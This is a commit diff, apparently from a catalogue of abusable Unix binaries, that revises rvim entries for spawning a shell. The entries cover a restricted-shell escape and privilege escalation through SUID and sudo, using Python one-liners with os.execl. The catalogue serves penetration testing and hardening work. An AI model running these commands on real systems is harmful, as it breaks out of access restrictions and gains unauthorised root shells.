Fix broken shells in vi

Related to #39.
This commit is contained in:
Andrea Cardaci
2018-12-03 15:43:38 +01:00
parent 279381cf3c
commit ed9363fe2d
3 changed files with 7 additions and 7 deletions

View File

@@ -2,7 +2,7 @@
functions:
shell:
- description: This requires that rvim is compiled with Python support.
code: rvim -c ':py import os;os.system("sh")'
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
file-write:
- description: This requires that rvim is compiled with Python support.
code: |
@@ -14,8 +14,8 @@ functions:
- code: rvim file_to_read
suid:
- description: This requires that rvim is compiled with Python support.
code: ./rvim -c ':py import os;os.system("sh")'
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
sudo:
- description: This requires that rvim is compiled with Python support.
code: sudo rvim -c ':py import os;os.system("sh")'
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
---